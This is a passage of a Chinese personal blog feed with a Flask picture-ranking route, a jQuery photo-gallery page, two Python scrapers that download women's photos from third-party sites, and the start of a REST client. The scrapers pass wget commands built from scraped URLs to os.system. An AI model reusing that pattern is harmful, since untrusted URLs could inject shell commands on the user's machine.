<span class="n">cur</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'select * from picture order by RANDOM() limit 2'</span><span class="p">).</span><span class="n">fetchall</span><span class="p">()</span>
<span class="n">ret</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">ret</span><span class="p">[</span><span class="s">'p1'</span><span class="p">]</span> <span class="o">=</span> <span class="n">cur</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span>
<span class="n">ret</span><span class="p">[</span><span class="s">'p1_id'</span><span class="p">]</span> <span class="o">=</span> <span class="n">cur</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="n">ret</span><span class="p">[</span><span class="s">'p2'</span><span class="p">]</span> <span class="o">=</span> <span class="n">cur</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span>
<span class="n">ret</span><span class="p">[</span><span class="s">'p2_id'</span><span class="p">]</span> <span class="o">=</span> <span class="n">cur</span><span class="p">[</span><span class="mi">1</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">ret</span><span class="p">)</span>
<span class="k">return</span> <span class="n">jsonify</span><span class="p">(</span><span class="n">ret</span><span class="p">)</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/top'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">top10</span><span class="p">():</span>
<span class="n">db</span> <span class="o">=</span> <span class="n">connect_db</span><span class="p">()</span>
<span class="n">lists</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'select * from picture order by support desc limit 10'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'top.html'</span><span class="p">,</span> <span class="n">lists</span> <span class="o">=</span> <span class="n">lists</span><span class="p">.</span><span class="n">fetchall</span><span class="p">())</span>
<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/random'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">random_pic</span><span class="p">():</span>
<span class="n">db</span> <span class="o">=</span> <span class="n">connect_db</span><span class="p">()</span>
<span class="n">lists</span> <span class="o">=</span> <span class="n">db</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'select * from picture order by RANDOM() limit 28'</span><span class="p">)</span>
<span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'random.html'</span><span class="p">,</span> <span class="n">lists</span> <span class="o">=</span> <span class="n">lists</span><span class="p">.</span><span class="n">fetchall</span><span class="p">())</span></code></pre></figure>
比妹子网站设计---TOP10
2015-01-13T00:00:00+00:00
http://fish267.github.io/2015/01/13/meizitop10
<p>打算向网站中添加支持率最好的TOP10妹子图,在各种前端相册之间删选了半天,确定了使用该动画效果的展示方式,鼠标划过,类似抚摸<del>lol</del>
http://www.js-css.cn/a/jscode/album/2014/0916/1321.html.</p>
<!--more-->
<p>展示代码如下:</p>
<figure class="highlight"><pre><code class="language-html" data-lang="html"><span class="cp"><!doctype html></span>
<span class="nt"><html></span>
<span class="nt"><head></span>
<span class="nt"><script </span><span class="na">type=</span><span class="s">"text/javascript"</span> <span class="na">class=</span><span class="s">"library"</span> <span class="na">src=</span><span class="s">"js/jquery-1.8.0.min.js"</span><span class="nt">></script></span>
<span class="nt"><style></span>
<span class="nc">.part</span><span class="p">{</span> <span class="nl">width</span><span class="p">:</span> <span class="m">80%</span><span class="p">;</span> <span class="nl">margin</span><span class="p">:</span> <span class="m">0</span> <span class="nb">auto</span><span class="p">;}</span>
<span class="nc">.part</span> <span class="nt">ul</span><span class="p">{</span> <span class="nl">overflow</span><span class="p">:</span> <span class="nb">hidden</span><span class="p">;</span> <span class="p">}</span>
<span class="nf">#xiangce-2</span> <span class="nc">.list</span><span class="p">{</span> <span class="nl">width</span><span class="p">:</span> <span class="m">330px</span><span class="p">;</span> <span class="nl">height</span><span class="p">:</span> <span class="m">300px</span><span class="p">;</span> <span class="nl">float</span><span class="p">:</span> <span class="nb">left</span><span class="p">;</span> <span class="nl">overflow</span><span class="p">:</span> <span class="nb">hidden</span><span class="p">;</span> <span class="py">zoom</span><span class="p">:</span><span class="m">1</span><span class="p">;</span> <span class="nl">list-style</span><span class="p">:</span> <span class="nb">none</span><span class="p">;</span> <span class="nl">margin-right</span><span class="p">:</span> <span class="m">0px</span><span class="p">;</span> <span class="p">}</span>
<span class="nt"></style></span>
<span class="nt"><script></span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">zuley</span><span class="p">){</span>
<span class="kd">var</span> <span class="nx">zuley</span> <span class="o">=</span> <span class="p">{};</span>
<span class="p">}</span>
<span class="nx">zuley</span><span class="p">.</span><span class="nx">xiangce</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(</span><span class="nx">n</span><span class="p">){</span>
<span class="c1">// 相册盒子</span>
<span class="kd">var</span> <span class="nx">$box</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="nx">n</span><span class="p">.</span><span class="nx">box</span><span class="p">)</span> <span class="o">||</span> <span class="kc">null</span><span class="p">;</span>
<span class="c1">// 相册图片</span>
<span class="kd">var</span> <span class="nx">$img</span> <span class="o">=</span> <span class="nx">$box</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// 图片地址</span>
<span class="kd">var</span> <span class="nx">$imgurl</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
<span class="c1">// 弹窗box</span>
<span class="k">if</span><span class="p">(</span><span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">#zuley_xiangce_box</span><span class="dl">"</span><span class="p">).</span><span class="nx">size</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">){</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">body</span><span class="dl">"</span><span class="p">).</span><span class="nx">append</span><span class="p">(</span><span class="dl">'</span><span class="s1"><div id="zuley_xiangce_box"><img src="" /></div></span><span class="dl">'</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// 初始化样式</span>
<span class="nx">$box</span><span class="p">.</span><span class="nx">css</span><span class="p">({</span><span class="na">position</span><span class="p">:</span><span class="dl">"</span><span class="s2">relative</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">z-index</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">10</span><span class="dl">"</span><span class="p">});</span>
<span class="nx">$img</span><span class="p">.</span><span class="nx">css</span><span class="p">({</span><span class="na">position</span><span class="p">:</span><span class="dl">"</span><span class="s2">relative</span><span class="dl">"</span><span class="p">,</span><span class="na">cursor</span><span class="p">:</span><span class="dl">"</span><span class="s2">pointer</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">z-index</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">9</span><span class="dl">"</span><span class="p">});</span>
<span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">#zuley_xiangce_box</span><span class="dl">"</span><span class="p">).</span><span class="nx">css</span><span class="p">(</span><span class="dl">"</span><span class="s2">z-index</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">11</span><span class="dl">"</span><span class="p">).</span><span class="nx">hide</span><span class="p">();</span>
<span class="c1">// 鼠标滑过</span>
<span class="nx">$box</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">mousemove </span><span class="dl">"</span><span class="p">,</span><span class="kd">function</span><span class="p">(</span><span class="nx">event</span><span class="p">){</span>
<span class="kd">var</span> <span class="nx">$this</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="k">this</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">xx</span> <span class="o">=</span> <span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">pageX</span> <span class="o">-</span> <span class="nx">$this</span><span class="p">.</span><span class="nx">offset</span><span class="p">().</span><span class="nx">left</span><span class="p">)</span><span class="o">/</span><span class="nx">$this</span><span class="p">.</span><span class="nx">width</span><span class="p">()</span><span class="o">*</span><span class="p">(</span><span class="nx">$this</span><span class="p">.</span><span class="nx">width</span><span class="p">()</span> <span class="o">-</span> <span class="nx">$this</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">).</span><span class="nx">width</span><span class="p">());</span>
<span class="kd">var</span> <span class="nx">yy</span> <span class="o">=</span> <span class="p">(</span><span class="nx">event</span><span class="p">.</span><span class="nx">pageY</span> <span class="o">-</span> <span class="nx">$this</span><span class="p">.</span><span class="nx">offset</span><span class="p">().</span><span class="nx">top</span><span class="p">)</span><span class="o">/</span><span class="nx">$this</span><span class="p">.</span><span class="nx">height</span><span class="p">()</span><span class="o">*</span><span class="p">(</span><span class="nx">$this</span><span class="p">.</span><span class="nx">height</span><span class="p">()</span> <span class="o">-</span> <span class="nx">$this</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">).</span><span class="nx">height</span><span class="p">());</span>
<span class="nx">$this</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">).</span><span class="nx">stop</span><span class="p">(</span><span class="kc">true</span><span class="p">,</span><span class="kc">true</span><span class="p">).</span><span class="nx">animate</span><span class="p">({</span><span class="na">left</span><span class="p">:</span><span class="nx">xx</span><span class="p">,</span><span class="na">top</span><span class="p">:</span><span class="nx">yy</span><span class="p">},</span><span class="mi">800</span><span class="p">);</span>
<span class="p">});</span>
<span class="c1">// 点击相册图片</span>
<span class="nx">$box</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">click</span><span class="dl">"</span><span class="p">,</span><span class="kd">function</span><span class="p">(</span><span class="nx">event</span><span class="p">){</span>
<span class="nx">$imgurl</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nx">find</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="dl">"</span><span class="s2">src</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">$imgbox</span> <span class="o">=</span> <span class="nx">$</span><span class="p">(</span><span class="dl">"</span><span class="s2">#zuley_xiangce_box</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">$imgbox</span><span class="p">.</span><span class="nx">find</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">).</span><span class="nx">attr</span><span class="p">(</span><span class="dl">"</span><span class="s2">src</span><span class="dl">"</span><span class="p">,</span><span class="nx">$imgurl</span><span class="p">);</span>
<span class="nx">$imgbox</span><span class="p">.</span><span class="nx">css</span><span class="p">({</span><span class="na">left</span><span class="p">:</span><span class="dl">"</span><span class="s2">35%</span><span class="dl">"</span><span class="p">,</span> <span class="na">top</span><span class="p">:</span><span class="dl">"</span><span class="s2">5%</span><span class="dl">"</span><span class="p">,</span> <span class="na">position</span><span class="p">:</span><span class="dl">"</span><span class="s2">absolute</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">border</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">0px solid #fff</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">box-shadow</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">0 0 50px #000</span><span class="dl">"</span><span class="p">});</span>
<span class="nx">$imgbox</span><span class="p">.</span><span class="nx">show</span><span class="p">().</span><span class="nx">animate</span><span class="p">({</span><span class="na">width</span><span class="p">:</span><span class="nx">$</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nx">find</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">).</span><span class="nx">width</span><span class="p">(),</span><span class="na">height</span><span class="p">:</span><span class="nx">$</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nx">find</span><span class="p">(</span><span class="dl">"</span><span class="s2">img</span><span class="dl">"</span><span class="p">).</span><span class="nx">height</span><span class="p">()},</span><span class="mi">400</span><span class="p">);</span>
<span class="p">});</span>
<span class="c1">// 点击弹窗图片关闭</span>
<span class="nx">$</span><span class="p">(</span><span class="nb">document</span><span class="p">).</span><span class="nx">on</span><span class="p">(</span><span class="dl">"</span><span class="s2">click</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">#zuley_xiangce_box</span><span class="dl">"</span><span class="p">,</span><span class="kd">function</span><span class="p">(){</span>
<span class="nx">$</span><span class="p">(</span><span class="k">this</span><span class="p">).</span><span class="nx">fadeOut</span><span class="p">(</span><span class="mi">500</span><span class="p">);</span>
<span class="p">});</span>
<span class="p">}</span><span class="nt"></script></span>
<span class="nt"></head></span>
<span class="nt"><body></span>
<span class="nt"><div</span> <span class="na">class=</span><span class="s">"part"</span><span class="nt">></span>
<span class="nt"><ul</span> <span class="na">id=</span><span class="s">"xiangce-2"</span><span class="nt">></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"></ul></span>
<span class="nt"><ul</span> <span class="na">id=</span><span class="s">"xiangce-2"</span><span class="nt">></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"></ul></span>
<span class="nt"><ul</span> <span class="na">id=</span><span class="s">"xiangce-2"</span><span class="nt">></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"><li</span> <span class="na">class=</span><span class="s">"list"</span><span class="nt">><img</span> <span class="na">src=</span><span class="s">"images/1.jpg"</span> <span class="nt">/></li></span>
<span class="nt"></ul></span>
<span class="nt"></div></span>
<span class="nt"><script </span><span class="na">type=</span><span class="s">"text/javascript"</span><span class="nt">></span>
<span class="nx">$</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
<span class="nx">zuley</span><span class="p">.</span><span class="nx">xiangce</span><span class="p">({</span>
<span class="dl">'</span><span class="s1">box</span><span class="dl">'</span> <span class="p">:</span> <span class="dl">'</span><span class="s1">#xiangce-2 > .list</span><span class="dl">'</span>
<span class="p">});</span>
<span class="p">});</span>
<span class="nt"></script></span>
<span class="nt"></body></span>
<span class="nt"></html></span></code></pre></figure>
比妹子网站设计---抓妹子
2015-01-13T00:00:00+00:00
http://fish267.github.io/2015/01/13/bimeizi
<p>最近在拉萨无聊,阅读开源社区(oschina.net)的python代码,好多人都在爬妹子图片,选取了两个地址,将妹子图爬了下来,两个网站分别是http://meizitu.com/ 和 http://sexy.faceks.com/,图片挺不错的。非常喜爱的煎蛋网站上,妹子参差不齐,就没怎么考虑。</p>
<p>还是偷懒,使用的BeautifulSoup,用别人的轮子,轧自己的马路!</p>
<!--more-->
<p>妹子图网站下载源码如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">urllib2</span>
<span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
<span class="kn">import</span> <span class="nn">logging</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">log_file</span> <span class="o">=</span> <span class="s">"/home/fish/log/beauty.log"</span>
<span class="n">logger</span> <span class="o">=</span> <span class="n">logging</span><span class="p">.</span><span class="n">getLogger</span><span class="p">()</span>
<span class="n">logger</span><span class="p">.</span><span class="n">addHandler</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">FileHandler</span><span class="p">(</span><span class="n">log_file</span><span class="p">))</span>
<span class="n">logger</span><span class="p">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">DEBUG</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_img_url</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
<span class="n">img_url</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"http://www.meizitu.com/a/%d.html"</span> <span class="o">%</span> <span class="n">n</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">urllib2</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">soup</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="s">'div'</span><span class="p">,</span> <span class="nb">id</span> <span class="o">=</span> <span class="s">'picture'</span><span class="p">).</span><span class="n">p</span>
<span class="k">for</span> <span class="n">img_div</span> <span class="ow">in</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">img</span><span class="p">)).</span><span class="n">find_all</span><span class="p">(</span><span class="s">'img'</span><span class="p">):</span>
<span class="n">img_url</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">img_div</span><span class="p">[</span><span class="s">'src'</span><span class="p">])</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">return</span> <span class="n">img_url</span>
<span class="k">def</span> <span class="nf">save_to_disk</span><span class="p">():</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4768</span><span class="p">,</span> <span class="mi">3524</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">):</span>
<span class="n">flag</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">get_img_url</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s">'wget -c '</span> <span class="o">+</span> <span class="n">t</span> <span class="o">+</span> <span class="s">' -O '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">+</span> <span class="s">'--'</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">flag</span><span class="p">)</span> <span class="o">+</span> <span class="s">'.jpg'</span>
<span class="n">flag</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="c1">#------------test--------------#
#print(get_img_url(4751))
</span><span class="n">save_to_disk</span><span class="p">()</span></code></pre></figure>
<p>性感美女图片下载源码如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">urllib2</span>
<span class="kn">from</span> <span class="nn">bs4</span> <span class="kn">import</span> <span class="n">BeautifulSoup</span>
<span class="kn">import</span> <span class="nn">logging</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="n">log_file</span> <span class="o">=</span> <span class="s">"/home/fish/log/sex.log"</span>
<span class="n">logger</span> <span class="o">=</span> <span class="n">logging</span><span class="p">.</span><span class="n">getLogger</span><span class="p">()</span>
<span class="n">logger</span><span class="p">.</span><span class="n">addHandler</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">FileHandler</span><span class="p">(</span><span class="n">log_file</span><span class="p">))</span>
<span class="n">logger</span><span class="p">.</span><span class="n">setLevel</span><span class="p">(</span><span class="n">logging</span><span class="p">.</span><span class="n">DEBUG</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_img_url</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
<span class="n">img_url</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">urllib2</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">soup</span><span class="p">.</span><span class="n">findAll</span><span class="p">(</span><span class="s">'div'</span><span class="p">,</span> <span class="s">'pic'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">img_div</span> <span class="ow">in</span> <span class="n">img</span><span class="p">:</span>
<span class="n">img_url</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">img_div</span><span class="p">.</span><span class="n">a</span><span class="p">[</span><span class="s">'bigimgsrc'</span><span class="p">])</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">return</span> <span class="n">img_url</span>
<span class="k">def</span> <span class="nf">locate_page_url</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"http://sexy.faceks.com/?page=%d"</span> <span class="o">%</span><span class="n">n</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
<span class="n">page_url</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">soup</span> <span class="o">=</span> <span class="n">BeautifulSoup</span><span class="p">(</span><span class="n">urllib2</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">())</span>
<span class="n">img</span> <span class="o">=</span> <span class="n">soup</span><span class="p">.</span><span class="n">findAll</span><span class="p">(</span><span class="s">'div'</span><span class="p">,</span> <span class="s">'pic'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">img_div</span> <span class="ow">in</span> <span class="n">img</span><span class="p">:</span>
<span class="n">page_url</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">img_div</span><span class="p">.</span><span class="n">a</span><span class="p">[</span><span class="s">'href'</span><span class="p">])</span>
<span class="k">except</span> <span class="nb">Exception</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">return</span> <span class="n">page_url</span>
<span class="k">def</span> <span class="nf">save_to_disk</span><span class="p">():</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">26</span><span class="p">):</span>
<span class="k">for</span> <span class="n">page</span> <span class="ow">in</span> <span class="n">locate_page_url</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
<span class="k">for</span> <span class="n">img</span> <span class="ow">in</span> <span class="n">get_img_url</span><span class="p">(</span><span class="n">page</span><span class="p">):</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s">'wget -c '</span> <span class="o">+</span> <span class="n">img</span> <span class="o">+</span> <span class="s">' -O '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">img</span><span class="p">[</span><span class="o">-</span><span class="mi">20</span><span class="p">:])</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="n">logger</span><span class="p">.</span><span class="n">error</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span>
<span class="c1">#------------test---------------#
#print locate_page_url(1)
#print get_img_url("http://sexy.faceks.com/post/2c9c66_54a3875")
</span><span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">save_to_disk</span><span class="p">()</span></code></pre></figure>
python实现Postman
2015-01-07T00:00:00+00:00
http://fish267.github.io/2015/01/07/postman
<p>之前在绿盟科技实习时,就经常在Django后端和Ajax进行大量的通信。后来很多场景需要进行测试,比如Chorme上的Postman插件和Firefox的Restful拓展。</p>
<p>在开源社区上看到了有人写了一个UI界面的,http://www.oschina.net/code/snippet_1438043_44720。但是没有后端代码,参考github上的代码和原来项目中经常使用的手段,修改完成后端,重复发明轮子,以后应该用的到。</p>
<!--more-->
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#!/usr/bin/python
# -*- coding: utf-8 -*-
# jhhttp, a simple API tool, support RESTful APIs
</span><span class="kn">import</span> <span class="nn">simplejson</span>
<span class="kn">import</span> <span class="nn">urllib</span>
<span class="kn">import</span> <span class="nn">urllib.request</span>
<span class="kn">import</span> <span class="nn">traceback</span>
<span class="k">class</span> <span class="nc">RequestWithMethod</span><span class="p">(</span><span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">Request</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">url</span><span class="p">,</span> <span class="n">method</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="p">{},</span>\
<span class="n">origin_req_host</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">unverifiable</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">_method</span> <span class="o">=</span> <span class="n">method</span>
<span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">Request</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">origin_req_host</span><span class="p">,</span>
<span class="n">unverifiable</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">get_method</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">if</span> <span class="bp">self</span><span class="p">.</span><span class="n">_method</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">self</span><span class="p">.</span><span class="n">_method</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">return</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">Request</span><span class="p">.</span><span class="n">get_method</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">JhhttpError</span><span class="p">(</span><span class="nb">Exception</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">value</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">value</span> <span class="o">=</span> <span class="n">value</span>
<span class="k">def</span> <span class="nf">__str__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">repr</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">value</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">_restful_headers</span><span class="p">(</span><span class="n">headers</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="k">if</span> <span class="n">headers</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{}</span>
<span class="n">headers</span><span class="p">[</span><span class="s">'Content-Type'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'application/json'</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">headers</span><span class="p">[</span><span class="s">'Content-Type'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'application/json'</span>
<span class="k">return</span> <span class="n">headers</span>
<span class="k">def</span> <span class="nf">_restful_data</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="ow">is</span> <span class="ow">not</span> <span class="nb">str</span><span class="p">:</span>
